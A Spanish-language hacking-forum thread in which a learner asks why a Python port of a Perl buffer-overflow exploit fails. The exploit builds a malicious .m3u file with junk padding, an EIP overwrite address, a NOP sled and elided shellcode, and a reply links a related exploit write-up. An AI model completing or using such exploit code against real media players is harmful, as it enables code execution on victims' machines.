elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  problema al programar exploits en python
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: problema al programar exploits en python  (Leído 6,155 veces)
s0ud

Desconectado Desconectado

Mensajes: 1


Ver Perfil
problema al programar exploits en python
« en: 13 Mayo 2011, 00:59 am »

Buen día,

he estado aprendiendo sobre programar/escribir exploits de una pagina muy buena a mi parecer. la cuestion es que los ejemplos estan escritos en perl y yo quisiera utilizar python para hacer los exploits.

mi problema es al tratar de traducir la funcion pack de perl a python. en perl es muy facil:

my $eip = pack('V',0x7E429353); 

lo mas parecido que encontre en python es:

from struct import pack
eip = pack('<L',0x7E429353)

incluso estuve viendo codigo de otros explots en este lenguaje y asi es como lo hacen.

la cosa es que no funciona :S,  estoy utilizando python v2.7 (intente con la 3.2 pero tampoco)

aqui dejo el codigo del explot de prueba que utilizo, en perl y python (perl si me funciona)

PERL
Código:
my $file= "test1perlFinal.m3u";
my $junk= "A" x 26049;
my $eip = pack('V',0x7E429353); 

my $shellcode = "\x90" x 25;

$shellcode = $shellcode . "\xdb\xc0 ....  \x7b\xca";
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);

Python
Código:
from struct import pack

filename = "test1.m3u"
junk = "\x41" * 26049
eip = pack('<L',0x7E429353)
espdata = "\x90" * 25
payload = "\xdb\xc0\ .... \xca"
FILE = open(filename,"wb")
FILE.write(junk+eip+espdata)
FILE.close()

será que no funciona por algo del codigo? segun yo, los 2 deberian de funcionar igual

si necesitan mas informacion puedo proporcionarla, nadamas pregunten

Gracias por su ayuda
En línea

warl0ck018

Desconectado Desconectado

Mensajes: 2


my $sistema = "Debian";


Ver Perfil
Re: problema al programar exploits en python
« Respuesta #1 en: 25 Octubre 2012, 20:08 pm »

Creo que es una falta de __Respeto__ la del amigo de arriba. Seguro dijiste eso porque pidiste ayuda con alguna tonteria que no merecio el tiempo de nadie.

Volviendo al tema importante. ¿Para que quieres pasar el exploit de perl a python?
Un Saludo

----

He editado el post porque encontre una pagina que te puede servir http://scx020c07c.blogspot.com.es/2012/09/buffer-overflow-easy-rm-to-mp3-converter.html
;)
« Última modificación: 25 Octubre 2012, 20:13 pm por warl0ck018 » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Python-Source]Buscador/Descargador de exploits
Bugs y Exploits
Debci 7 6,468 Último mensaje 9 Mayo 2010, 16:13 pm
por isseu
[python]VideoTraining Aprende A Programar En Python desde 0 « 1 2 3 »
Scripting
juh 22 17,396 Último mensaje 16 Octubre 2010, 13:12 pm
por Pere Navarro
Programar web en python? Programar OS en Phyton?
Scripting
GeorgArming 2 5,091 Último mensaje 30 Diciembre 2011, 22:56 pm
por RakNae
Problema con exploits
Bugs y Exploits
Z31C0S 4 3,982 Último mensaje 14 Diciembre 2011, 02:17 am
por m0rf
Que programa me aconsejáis para programar en python
Scripting
Draked393 8 4,303 Último mensaje 30 Enero 2012, 09:45 am
por risto
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines